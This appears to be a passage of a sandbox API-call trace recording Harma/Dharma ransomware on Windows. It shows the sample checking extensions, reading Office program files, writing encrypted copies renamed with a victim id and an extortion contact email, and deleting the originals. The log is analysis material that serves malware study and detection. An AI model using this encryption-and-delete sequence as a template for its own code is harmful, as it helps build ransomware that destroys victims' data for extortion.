[0160.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.079] lstrlenW (lpString=".jpg") returned 4 [0160.079] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0160.080] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0160.080] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0160.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.414] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=173952) returned 1 [0160.414] CloseHandle (hObject=0x378) returned 1 [0160.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 0x20 [0160.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.486] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.486] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.735] GetLastError () returned 0x0 [0160.735] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x2a780, lpOverlapped=0x0) returned 1 [0160.742] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2a790, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x2a790, lpOverlapped=0x0) returned 1 [0160.746] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.746] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0160.746] SetEndOfFile (hFile=0x330) returned 1 [0160.746] CloseHandle (hObject=0x330) returned 1 [0160.747] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.747] SetEndOfFile (hFile=0x368) returned 1 [0160.752] CloseHandle (hObject=0x368) returned 1 [0160.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString=".doc") returned 4 [0160.761] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".docx") returned 5 [0160.761] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.761] lstrlenW (lpString=".pdf") returned 4 [0160.761] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".xls") returned 4 [0160.761] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".xlsx") returned 5 [0160.761] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.761] lstrlenW (lpString=".ppt") returned 4 [0160.761] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString=".zip") returned 4 [0160.761] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".rar") returned 4 [0160.761] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".bz2") returned 4 [0160.761] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString=".7z") returned 3 [0160.761] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString=".dbf") returned 4 [0160.761] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString=".1cd") returned 4 [0160.761] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.761] lstrlenW (lpString=".jpg") returned 4 [0160.762] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString=".doc") returned 4 [0160.762] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".docx") returned 5 [0160.762] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.762] lstrlenW (lpString=".pdf") returned 4 [0160.762] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".xls") returned 4 [0160.762] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".xlsx") returned 5 [0160.762] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.762] lstrlenW (lpString=".ppt") returned 4 [0160.762] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString=".zip") returned 4 [0160.762] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".rar") returned 4 [0160.762] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".bz2") returned 4 [0160.762] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString=".7z") returned 3 [0160.762] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString=".dbf") returned 4 [0160.762] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString=".1cd") returned 4 [0160.762] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0160.762] lstrlenW (lpString=".jpg") returned 4 [0160.763] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.763] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.763] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0160.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.775] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=320928) returned 1 [0160.775] CloseHandle (hObject=0x378) returned 1 [0160.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll")) returned 0x20 [0160.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0161.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.201] lstrlenW (lpString=".doc") returned 4 [0161.201] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0161.201] lstrlenW (lpString=".docx") returned 5 [0161.202] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0161.202] lstrlenW (lpString=".pdf") returned 4 [0161.202] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString=".xls") returned 4 [0161.202] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString=".xlsx") returned 5 [0161.202] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0161.202] lstrlenW (lpString=".ppt") returned 4 [0161.202] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.202] lstrlenW (lpString=".zip") returned 4 [0161.202] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString=".rar") returned 4 [0161.202] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString=".bz2") returned 4 [0161.202] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0161.202] lstrlenW (lpString=".7z") returned 3 [0161.202] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0161.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.202] lstrlenW (lpString=".dbf") returned 4 [0161.202] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0161.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.202] lstrlenW (lpString=".1cd") returned 4 [0161.202] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0161.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.202] lstrlenW (lpString=".jpg") returned 4 [0161.202] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0161.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.203] lstrlenW (lpString=".doc") returned 4 [0161.203] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString=".docx") returned 5 [0161.203] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0161.203] lstrlenW (lpString=".pdf") returned 4 [0161.203] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString=".xls") returned 4 [0161.203] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString=".xlsx") returned 5 [0161.203] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0161.203] lstrlenW (lpString=".ppt") returned 4 [0161.203] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.203] lstrlenW (lpString=".zip") returned 4 [0161.203] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString=".rar") returned 4 [0161.203] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0161.203] lstrlenW (lpString=".bz2") returned 4 [0161.203] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0161.203] lstrlenW (lpString=".7z") returned 3 [0161.203] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.203] lstrlenW (lpString=".dbf") returned 4 [0161.203] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.204] lstrlenW (lpString=".1cd") returned 4 [0161.204] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL") returned 70 [0161.204] lstrlenW (lpString=".jpg") returned 4 [0161.204] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0161.204] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0161.204] lstrlenW (lpString="UML.VSL") returned 7 [0161.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.868] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=392584) returned 1 [0162.868] CloseHandle (hObject=0x398) returned 1 [0162.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 0x20 [0163.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0163.017] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.017] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.019] GetLastError () returned 0x0 [0163.019] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x5fd88, lpOverlapped=0x0) returned 1 [0163.096] WriteFile (in: hFile=0x378, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x5fd90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x5fd90, lpOverlapped=0x0) returned 1 [0163.107] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.107] WriteFile (in: hFile=0x378, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0163.108] SetEndOfFile (hFile=0x378) returned 1 [0163.108] CloseHandle (hObject=0x378) returned 1 [0163.108] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.108] SetEndOfFile (hFile=0x394) returned 1 [0164.339] CloseHandle (hObject=0x394) returned 1 [0164.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 1 [0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.348] lstrlenW (lpString=".doc") returned 4 [0164.348] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.348] lstrlenW (lpString=".docx") returned 5 [0164.348] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0164.348] lstrlenW (lpString=".pdf") returned 4 [0164.348] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.348] lstrlenW (lpString=".xls") returned 4 [0164.348] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.348] lstrlenW (lpString=".xlsx") returned 5 [0164.349] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0164.349] lstrlenW (lpString=".ppt") returned 4 [0164.349] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.349] lstrlenW (lpString=".zip") returned 4 [0164.349] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.349] lstrlenW (lpString=".rar") returned 4 [0164.349] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.349] lstrlenW (lpString=".bz2") returned 4 [0164.349] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.349] lstrlenW (lpString=".7z") returned 3 [0164.349] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.349] lstrlenW (lpString=".dbf") returned 4 [0164.349] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.349] lstrlenW (lpString=".1cd") returned 4 [0164.349] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.349] lstrlenW (lpString=".jpg") returned 4 [0164.350] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.350] lstrlenW (lpString=".doc") returned 4 [0164.350] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString=".docx") returned 5 [0164.350] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0164.350] lstrlenW (lpString=".pdf") returned 4 [0164.350] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString=".xls") returned 4 [0164.350] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.350] lstrlenW (lpString=".xlsx") returned 5 [0164.350] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0164.350] lstrlenW (lpString=".ppt") returned 4 [0164.350] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.350] lstrlenW (lpString=".zip") returned 4 [0164.350] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.350] lstrlenW (lpString=".rar") returned 4 [0164.350] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString=".bz2") returned 4 [0164.350] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.350] lstrlenW (lpString=".7z") returned 3 [0164.350] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.351] lstrlenW (lpString=".dbf") returned 4 [0164.351] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.351] lstrlenW (lpString=".1cd") returned 4 [0164.351] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0164.351] lstrlenW (lpString=".jpg") returned 4 [0164.351] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.351] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.351] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0164.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.352] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0164.352] CloseHandle (hObject=0x398) returned 1 [0164.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 0x20 [0164.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0164.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.354] GetLastError () returned 0x0 [0164.354] ReadFile (in: hFile=0x398, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0164.355] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.357] ReadFile (in: hFile=0x398, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.357] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0164.357] SetEndOfFile (hFile=0x3ac) returned 1 [0164.357] CloseHandle (hObject=0x3ac) returned 1 [0164.357] 